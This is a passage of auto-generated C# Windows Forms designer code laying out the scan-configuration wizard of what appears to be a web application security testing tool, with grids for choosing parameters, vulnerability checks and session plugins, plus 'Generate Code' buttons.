((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanBodyCustomMsgTB.BackColor = System.Drawing.Color.White; - this.ScanBodyCustomMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanBodyCustomMsgTB.Location = new System.Drawing.Point(195, 11); - this.ScanBodyCustomMsgTB.Multiline = true; - this.ScanBodyCustomMsgTB.Name = "ScanBodyCustomMsgTB"; - this.ScanBodyCustomMsgTB.ReadOnly = true; - this.ScanBodyCustomMsgTB.Size = new System.Drawing.Size(175, 97); - this.ScanBodyCustomMsgTB.TabIndex = 22; - this.ScanBodyCustomMsgTB.TabStop = false; - this.ScanBodyCustomMsgTB.Text = "If the body format is unknown then just place unique strings at start and end of " + - "the sections that must be scanned.\r\nThese are the scan point markers, mention th" + - "ese marker values below."; - this.ScanBodyCustomMsgTB.Visible = false; - // - // ScanBodyCustomEndTB - // - this.ScanBodyCustomEndTB.Location = new System.Drawing.Point(302, 140); - this.ScanBodyCustomEndTB.Name = "ScanBodyCustomEndTB"; - this.ScanBodyCustomEndTB.Size = new System.Drawing.Size(68, 20); - this.ScanBodyCustomEndTB.TabIndex = 20; - this.ScanBodyCustomEndTB.Visible = false; - // - // ScanBodyCustomEndLbl - // - this.ScanBodyCustomEndLbl.AutoSize = true; - this.ScanBodyCustomEndLbl.Location = new System.Drawing.Point(192, 140); - this.ScanBodyCustomEndLbl.Name = "ScanBodyCustomEndLbl"; - this.ScanBodyCustomEndLbl.Size = new System.Drawing.Size(106, 13); - this.ScanBodyCustomEndLbl.TabIndex = 21; - this.ScanBodyCustomEndLbl.Text = "Scan Pt End Marker:"; - this.ScanBodyCustomEndLbl.Visible = false; - // - // ScanBodyCustomStartTB - // - this.ScanBodyCustomStartTB.Location = new System.Drawing.Point(302, 114); - this.ScanBodyCustomStartTB.Name = "ScanBodyCustomStartTB"; - this.ScanBodyCustomStartTB.Size = new System.Drawing.Size(68, 20); - this.ScanBodyCustomStartTB.TabIndex = 18; - this.ScanBodyCustomStartTB.Visible = false; - // - // ScanBodyCustomStartLbl - // - this.ScanBodyCustomStartLbl.AutoSize = true; - this.ScanBodyCustomStartLbl.Location = new System.Drawing.Point(191, 117); - this.ScanBodyCustomStartLbl.Name = "ScanBodyCustomStartLbl"; - this.ScanBodyCustomStartLbl.Size = new System.Drawing.Size(109, 13); - this.ScanBodyCustomStartLbl.TabIndex = 19; - this.ScanBodyCustomStartLbl.Text = "Scan Pt Start Marker:"; - this.ScanBodyCustomStartLbl.Visible = false; - // - // ScanBodyTypeGrid - // - this.ScanBodyTypeGrid.AllowUserToAddRows = false; - this.ScanBodyTypeGrid.AllowUserToDeleteRows = false; - this.ScanBodyTypeGrid.AllowUserToResizeRows = false; - this.ScanBodyTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.ScanBodyTypeGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle48.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle48.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle48.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle48.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle48.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle48.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle48.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ScanBodyTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle48; - this.ScanBodyTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanBodyTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn14, - this.dataGridViewTextBoxColumn22}); - this.ScanBodyTypeGrid.GridColor = System.Drawing.Color.White; - this.ScanBodyTypeGrid.Location = new System.Drawing.Point(6, 23); - this.ScanBodyTypeGrid.Name = "ScanBodyTypeGrid"; - this.ScanBodyTypeGrid.ReadOnly = true; - this.ScanBodyTypeGrid.RowHeadersVisible = false; - this.ScanBodyTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanBodyTypeGrid.Size = new System.Drawing.Size(180, 137); - this.ScanBodyTypeGrid.TabIndex = 17; - this.ScanBodyTypeGrid.Visible = false; - this.ScanBodyTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanBodyTypeGrid_CellClick); - // - // dataGridViewCheckBoxColumn14 - // - this.dataGridViewCheckBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn14.HeaderText = ""; - this.dataGridViewCheckBoxColumn14.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn14.Name = "dataGridViewCheckBoxColumn14"; - this.dataGridViewCheckBoxColumn14.ReadOnly = true; - this.dataGridViewCheckBoxColumn14.Width = 25; - // - // dataGridViewTextBoxColumn22 - // - this.dataGridViewTextBoxColumn22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn22.HeaderText = "Body Type"; - this.dataGridViewTextBoxColumn22.Name = "dataGridViewTextBoxColumn22"; - this.dataGridViewTextBoxColumn22.ReadOnly = true; - this.dataGridViewTextBoxColumn22.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn22.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ScanAddPointLL - // - this.ScanAddPointLL.AutoSize = true; - this.ScanAddPointLL.Location = new System.Drawing.Point(770, 74); - this.ScanAddPointLL.Name = "ScanAddPointLL"; - this.ScanAddPointLL.Size = new System.Drawing.Size(92, 13); - this.ScanAddPointLL.TabIndex = 21; - this.ScanAddPointLL.TabStop = true; - this.ScanAddPointLL.Text = "Add Scan Point(s)"; - this.ScanAddPointLL.Visible = false; - this.ScanAddPointLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ScanAddPointLL_LinkClicked); - // - // ScanParametersNameListLbl - // - this.ScanParametersNameListLbl.AutoSize = true; - this.ScanParametersNameListLbl.Location = new System.Drawing.Point(606, 132); - this.ScanParametersNameListLbl.Name = "ScanParametersNameListLbl"; - this.ScanParametersNameListLbl.Size = new System.Drawing.Size(238, 13); - this.ScanParametersNameListLbl.TabIndex = 19; - this.ScanParametersNameListLbl.Text = "Enter the zero-based index positions one per line:"; - this.ScanParametersNameListLbl.Visible = false; - // - // ScanParametersNameListTB - // - this.ScanParametersNameListTB.Enabled = false; - this.ScanParametersNameListTB.Location = new System.Drawing.Point(607, 149); - this.ScanParametersNameListTB.Multiline = true; - this.ScanParametersNameListTB.Name = "ScanParametersNameListTB"; - this.ScanParametersNameListTB.Size = new System.Drawing.Size(219, 75); - this.ScanParametersNameListTB.TabIndex = 18; - this.ScanParametersNameListTB.Visible = false; - // - // ScanListedParametersRB - // - this.ScanListedParametersRB.AutoSize = true; - this.ScanListedParametersRB.Location = new System.Drawing.Point(606, 97); - this.ScanListedParametersRB.Name = "ScanListedParametersRB"; - this.ScanListedParametersRB.Size = new System.Drawing.Size(231, 17); - this.ScanListedParametersRB.TabIndex = 16; - this.ScanListedParametersRB.Text = "Scan only UrlPathPart positions listed below"; - this.ScanListedParametersRB.UseVisualStyleBackColor = true; - this.ScanListedParametersRB.Visible = false; - this.ScanListedParametersRB.CheckedChanged += new System.EventHandler(this.ScanListedParametersRB_CheckedChanged); - // - // ScanAllParametersRB - // - this.ScanAllParametersRB.AutoSize = true; - this.ScanAllParametersRB.Checked = true; - this.ScanAllParametersRB.Location = new System.Drawing.Point(606, 74); - this.ScanAllParametersRB.Name = "ScanAllParametersRB"; - this.ScanAllParametersRB.Size = new System.Drawing.Size(164, 17); - this.ScanAllParametersRB.TabIndex = 15; - this.ScanAllParametersRB.TabStop = true; - this.ScanAllParametersRB.Text = "Scan all UrlPathPart positions"; - this.ScanAllParametersRB.UseVisualStyleBackColor = true; - this.ScanAllParametersRB.Visible = false; - // - // ScanParameterTypeGrid - // - this.ScanParameterTypeGrid.AllowUserToAddRows = false; - this.ScanParameterTypeGrid.AllowUserToDeleteRows = false; - this.ScanParameterTypeGrid.AllowUserToResizeRows = false; - this.ScanParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle49.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle49.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle49.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle49.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle49.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle49.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle49.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ScanParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle49; - this.ScanParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn15, - this.dataGridViewTextBoxColumn23}); - this.ScanParameterTypeGrid.GridColor = System.Drawing.Color.White; - this.ScanParameterTypeGrid.Location = new System.Drawing.Point(8, 74); - this.ScanParameterTypeGrid.Name = "ScanParameterTypeGrid"; - this.ScanParameterTypeGrid.ReadOnly = true; - this.ScanParameterTypeGrid.RowHeadersVisible = false; - this.ScanParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanParameterTypeGrid.Size = new System.Drawing.Size(210, 138); - this.ScanParameterTypeGrid.TabIndex = 14; - this.ScanParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanParameterTypeGrid_CellClick); - // - // dataGridViewCheckBoxColumn15 - // - this.dataGridViewCheckBoxColumn15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn15.HeaderText = ""; - this.dataGridViewCheckBoxColumn15.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn15.Name = "dataGridViewCheckBoxColumn15"; - this.dataGridViewCheckBoxColumn15.ReadOnly = true; - this.dataGridViewCheckBoxColumn15.Width = 25; - // - // dataGridViewTextBoxColumn23 - // - this.dataGridViewTextBoxColumn23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn23.HeaderText = "Select the Parameter to Scan:"; - this.dataGridViewTextBoxColumn23.Name = "dataGridViewTextBoxColumn23"; - this.dataGridViewTextBoxColumn23.ReadOnly = true; - this.dataGridViewTextBoxColumn23.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn23.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ScanStep0StatusTB - // - this.ScanStep0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanStep0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanStep0StatusTB.Location = new System.Drawing.Point(230, 246); - this.ScanStep0StatusTB.Multiline = true; - this.ScanStep0StatusTB.Name = "ScanStep0StatusTB"; - this.ScanStep0StatusTB.Size = new System.Drawing.Size(505, 45); - this.ScanStep0StatusTB.TabIndex = 13; - this.ScanStep0StatusTB.TabStop = false; - this.ScanStep0StatusTB.Visible = false; - // - // textBox26 - // - this.textBox26.BackColor = System.Drawing.Color.White; - this.textBox26.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox26.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox26.Location = new System.Drawing.Point(5, 5); - this.textBox26.Multiline = true; - this.textBox26.Name = "textBox26"; - this.textBox26.ReadOnly = true; - this.textBox26.Size = new System.Drawing.Size(858, 51); - this.textBox26.TabIndex = 11; - this.textBox26.TabStop = false; - this.textBox26.Text = resources.GetString("textBox26.Text"); - // - // ScanResetBtn - // - this.ScanResetBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ScanResetBtn.Location = new System.Drawing.Point(8, 268); - this.ScanResetBtn.Name = "ScanResetBtn"; - this.ScanResetBtn.Size = new System.Drawing.Size(105, 23); - this.ScanResetBtn.TabIndex = 10; - this.ScanResetBtn.Text = "Reset All Values"; - this.ScanResetBtn.UseVisualStyleBackColor = true; - this.ScanResetBtn.Click += new System.EventHandler(this.ScanResetBtn_Click); - // - // ScanStepZeroNextBtn - // - this.ScanStepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.ScanStepZeroNextBtn.Location = new System.Drawing.Point(755, 268); - this.ScanStepZeroNextBtn.Name = "ScanStepZeroNextBtn"; - this.ScanStepZeroNextBtn.Size = new System.Drawing.Size(105, 23); - this.ScanStepZeroNextBtn.TabIndex = 9; - this.ScanStepZeroNextBtn.Text = "Next Step ->"; - this.ScanStepZeroNextBtn.UseVisualStyleBackColor = true; - this.ScanStepZeroNextBtn.Click += new System.EventHandler(this.ScanStepZeroNextBtn_Click); - // - // tabPage19 - // - this.tabPage19.BackColor = System.Drawing.Color.White; - this.tabPage19.Controls.Add(this.ScanAllPluginsCB); - this.tabPage19.Controls.Add(this.ScanPluginsGrid); - this.tabPage19.Controls.Add(this.ScanStep1StatusTB); - this.tabPage19.Controls.Add(this.textBox30); - this.tabPage19.Controls.Add(this.ScanStepOnePreviousBtn); - this.tabPage19.Controls.Add(this.ScanStepOneNextBtn); - this.tabPage19.Location = new System.Drawing.Point(4, 25); - this.tabPage19.Margin = new System.Windows.Forms.Padding(0); - this.tabPage19.Name = "tabPage19"; - this.tabPage19.Padding = new System.Windows.Forms.Padding(5); - this.tabPage19.Size = new System.Drawing.Size(868, 299); - this.tabPage19.TabIndex = 1; - this.tabPage19.Text = " Select Checks "; - // - // ScanAllPluginsCB - // - this.ScanAllPluginsCB.AutoSize = true; - this.ScanAllPluginsCB.Location = new System.Drawing.Point(334, 55); - this.ScanAllPluginsCB.Name = "ScanAllPluginsCB"; - this.ScanAllPluginsCB.Size = new System.Drawing.Size(111, 17); - this.ScanAllPluginsCB.TabIndex = 147; - this.ScanAllPluginsCB.Text = "Enable all Checks"; - this.ScanAllPluginsCB.UseVisualStyleBackColor = true; - this.ScanAllPluginsCB.Click += new System.EventHandler(this.ScanAllPluginsCB_Click); - // - // ScanPluginsGrid - // - this.ScanPluginsGrid.AllowUserToAddRows = false; - this.ScanPluginsGrid.AllowUserToDeleteRows = false; - this.ScanPluginsGrid.AllowUserToResizeRows = false; - this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanPluginsGrid.ColumnHeadersVisible = false; - this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn17, - this.dataGridViewTextBoxColumn25}); - this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; - this.ScanPluginsGrid.Location = new System.Drawing.Point(8, 55); - this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanPluginsGrid.Name = "ScanPluginsGrid"; - this.ScanPluginsGrid.ReadOnly = true; - this.ScanPluginsGrid.RowHeadersVisible = false; - this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanPluginsGrid.Size = new System.Drawing.Size(300, 173); - this.ScanPluginsGrid.TabIndex = 145; - this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); - // - // dataGridViewCheckBoxColumn17 - // - this.dataGridViewCheckBoxColumn17.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn17.HeaderText = ""; - this.dataGridViewCheckBoxColumn17.Name = "dataGridViewCheckBoxColumn17"; - this.dataGridViewCheckBoxColumn17.ReadOnly = true; - this.dataGridViewCheckBoxColumn17.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn17.Width = 20; - // - // dataGridViewTextBoxColumn25 - // - this.dataGridViewTextBoxColumn25.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn25.HeaderText = "SCAN PLUGINS"; - this.dataGridViewTextBoxColumn25.Name = "dataGridViewTextBoxColumn25"; - this.dataGridViewTextBoxColumn25.ReadOnly = true; - this.dataGridViewTextBoxColumn25.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ScanStep1StatusTB - // - this.ScanStep1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanStep1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanStep1StatusTB.Location = new System.Drawing.Point(140, 251); - this.ScanStep1StatusTB.Multiline = true; - this.ScanStep1StatusTB.Name = "ScanStep1StatusTB"; - this.ScanStep1StatusTB.Size = new System.Drawing.Size(598, 40); - this.ScanStep1StatusTB.TabIndex = 11; - this.ScanStep1StatusTB.TabStop = false; - this.ScanStep1StatusTB.Visible = false; - // - // textBox30 - // - this.textBox30.BackColor = System.Drawing.Color.White; - this.textBox30.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox30.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox30.Location = new System.Drawing.Point(5, 5); - this.textBox30.Multiline = true; - this.textBox30.Name = "textBox30"; - this.textBox30.ReadOnly = true; - this.textBox30.Size = new System.Drawing.Size(858, 31); - this.textBox30.TabIndex = 9; - this.textBox30.TabStop = false; - this.textBox30.Text = "\r\nPlease select the vulnerablities you would like to scan for:\r\n\r\n"; - // - // ScanStepOnePreviousBtn - // - this.ScanStepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ScanStepOnePreviousBtn.Location = new System.Drawing.Point(8, 268); - this.ScanStepOnePreviousBtn.Name = "ScanStepOnePreviousBtn"; - this.ScanStepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.ScanStepOnePreviousBtn.TabIndex = 8; - this.ScanStepOnePreviousBtn.Text = "<-Previous Step"; - this.ScanStepOnePreviousBtn.UseVisualStyleBackColor = true; - this.ScanStepOnePreviousBtn.Click += new System.EventHandler(this.ScanStepOnePreviousBtn_Click); - // - // ScanStepOneNextBtn - // - this.ScanStepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.ScanStepOneNextBtn.Location = new System.Drawing.Point(755, 268); - this.ScanStepOneNextBtn.Name = "ScanStepOneNextBtn"; - this.ScanStepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.ScanStepOneNextBtn.TabIndex = 7; - this.ScanStepOneNextBtn.Text = "Next Step ->"; - this.ScanStepOneNextBtn.UseVisualStyleBackColor = true; - this.ScanStepOneNextBtn.Click += new System.EventHandler(this.ScanStepOneNextBtn_Click); - // - // tabPage20 - // - this.tabPage20.BackColor = System.Drawing.Color.White; - this.tabPage20.Controls.Add(this.ScanStep2StatusTB); - this.tabPage20.Controls.Add(this.ScanSessionPluginGrid); - this.tabPage20.Controls.Add(this.ScanSessionPluginMsgTB); - this.tabPage20.Controls.Add(this.ScanStepTwoPreviousBtn); - this.tabPage20.Controls.Add(this.ScanCreateCodeBtn); - this.tabPage20.Location = new System.Drawing.Point(4, 25); - this.tabPage20.Name = "tabPage20"; - this.tabPage20.Padding = new System.Windows.Forms.Padding(5); - this.tabPage20.Size = new System.Drawing.Size(868, 299); - this.tabPage20.TabIndex = 3; - this.tabPage20.Text = " Customization "; - // - // ScanStep2StatusTB - // - this.ScanStep2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanStep2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanStep2StatusTB.Location = new System.Drawing.Point(128, 251); - this.ScanStep2StatusTB.Multiline = true; - this.ScanStep2StatusTB.Name = "ScanStep2StatusTB"; - this.ScanStep2StatusTB.Size = new System.Drawing.Size(543, 40); - this.ScanStep2StatusTB.TabIndex = 31; - this.ScanStep2StatusTB.TabStop = false; - this.ScanStep2StatusTB.Visible = false; - // - // ScanSessionPluginGrid - // - this.ScanSessionPluginGrid.AllowUserToAddRows = false; - this.ScanSessionPluginGrid.AllowUserToDeleteRows = false; - this.ScanSessionPluginGrid.AllowUserToResizeRows = false; - this.ScanSessionPluginGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanSessionPluginGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle50.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle50.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle50.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle50.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle50.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle50.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle50.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ScanSessionPluginGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle50; - this.ScanSessionPluginGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanSessionPluginGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn16, - this.dataGridViewTextBoxColumn24}); - this.ScanSessionPluginGrid.GridColor = System.Drawing.Color.White; - this.ScanSessionPluginGrid.Location = new System.Drawing.Point(542, 8); - this.ScanSessionPluginGrid.Name = "ScanSessionPluginGrid"; - this.ScanSessionPluginGrid.ReadOnly = true; - this.ScanSessionPluginGrid.RowHeadersVisible = false; - this.ScanSessionPluginGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanSessionPluginGrid.Size = new System.Drawing.Size(318, 166); - this.ScanSessionPluginGrid.TabIndex = 29; - this.ScanSessionPluginGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanSessionPluginGrid_CellClick); - // - // dataGridViewCheckBoxColumn16 - // - this.dataGridViewCheckBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn16.HeaderText = ""; - this.dataGridViewCheckBoxColumn16.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn16.Name = "dataGridViewCheckBoxColumn16"; - this.dataGridViewCheckBoxColumn16.ReadOnly = true; - this.dataGridViewCheckBoxColumn16.Width = 25; - // - // dataGridViewTextBoxColumn24 - // - this.dataGridViewTextBoxColumn24.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn24.HeaderText = "Select a Session Plugin"; - this.dataGridViewTextBoxColumn24.Name = "dataGridViewTextBoxColumn24"; - this.dataGridViewTextBoxColumn24.ReadOnly = true; - this.dataGridViewTextBoxColumn24.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn24.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ScanSessionPluginMsgTB - // - this.ScanSessionPluginMsgTB.BackColor = System.Drawing.Color.White; - this.ScanSessionPluginMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanSessionPluginMsgTB.Location = new System.Drawing.Point(8, 8); - this.ScanSessionPluginMsgTB.Multiline = true; - this.ScanSessionPluginMsgTB.Name = "ScanSessionPluginMsgTB"; - this.ScanSessionPluginMsgTB.ReadOnly = true; - this.ScanSessionPluginMsgTB.Size = new System.Drawing.Size(517, 153); - this.ScanSessionPluginMsgTB.TabIndex = 28; - this.ScanSessionPluginMsgTB.TabStop = false; - this.ScanSessionPluginMsgTB.Text = resources.GetString("ScanSessionPluginMsgTB.Text"); - // - // ScanStepTwoPreviousBtn - // - this.ScanStepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ScanStepTwoPreviousBtn.Location = new System.Drawing.Point(8, 268); - this.ScanStepTwoPreviousBtn.Name = "ScanStepTwoPreviousBtn"; - this.ScanStepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.ScanStepTwoPreviousBtn.TabIndex = 19; - this.ScanStepTwoPreviousBtn.Text = "<-Previous Step"; - this.ScanStepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.ScanStepTwoPreviousBtn.Click += new System.EventHandler(this.ScanStepTwoPreviousBtn_Click); - // - // ScanCreateCodeBtn - // - this.ScanCreateCodeBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.ScanCreateCodeBtn.Location = new System.Drawing.Point(683, 260); - this.ScanCreateCodeBtn.Name = "ScanCreateCodeBtn"; - this.ScanCreateCodeBtn.Size = new System.Drawing.Size(177, 31); - this.ScanCreateCodeBtn.TabIndex = 16; - this.ScanCreateCodeBtn.Text = "Generate Code"; - this.ScanCreateCodeBtn.UseVisualStyleBackColor = true; - this.ScanCreateCodeBtn.Click += new System.EventHandler(this.ScanCreateCodeBtn_Click); - // - // tabPage5 - // - this.tabPage5.Controls.Add(this.ToolsCreateCodeBtn); - this.tabPage5.Controls.Add(this.ToolsItemGrid); - this.tabPage5.Controls.Add(this.textBox11); - this.tabPage5.Location = new System.Drawing.Point(4, 22); - this.tabPage5.Name = "tabPage5"; - this.tabPage5.Size = new System.Drawing.Size(876, 328); - this.tabPage5.TabIndex = 4; - this.tabPage5.Text = " Tools and Utilities "; - this.tabPage5.UseVisualStyleBackColor = true; - // - // ToolsCreateCodeBtn - // - this.ToolsCreateCodeBtn.Enabled = false; - this.ToolsCreateCodeBtn.Location = new System.Drawing.Point(443, 92); - this.ToolsCreateCodeBtn.Name = "ToolsCreateCodeBtn"; - this.ToolsCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.ToolsCreateCodeBtn.TabIndex = 29; - this.ToolsCreateCodeBtn.Text = "Generate Code"; - this.ToolsCreateCodeBtn.UseVisualStyleBackColor = true; - this.ToolsCreateCodeBtn.Click += new System.EventHandler(this.ToolsCreateCodeBtn_Click); - // - // ToolsItemGrid - // - this.ToolsItemGrid.AllowUserToAddRows = false; - this.ToolsItemGrid.AllowUserToDeleteRows = false; - this.ToolsItemGrid.AllowUserToResizeRows = false; - this.ToolsItemGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.ToolsItemGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle51.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle51.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle51.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle51.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle51.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle51.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle51.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ToolsItemGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle51; - this.ToolsItemGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ToolsItemGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - 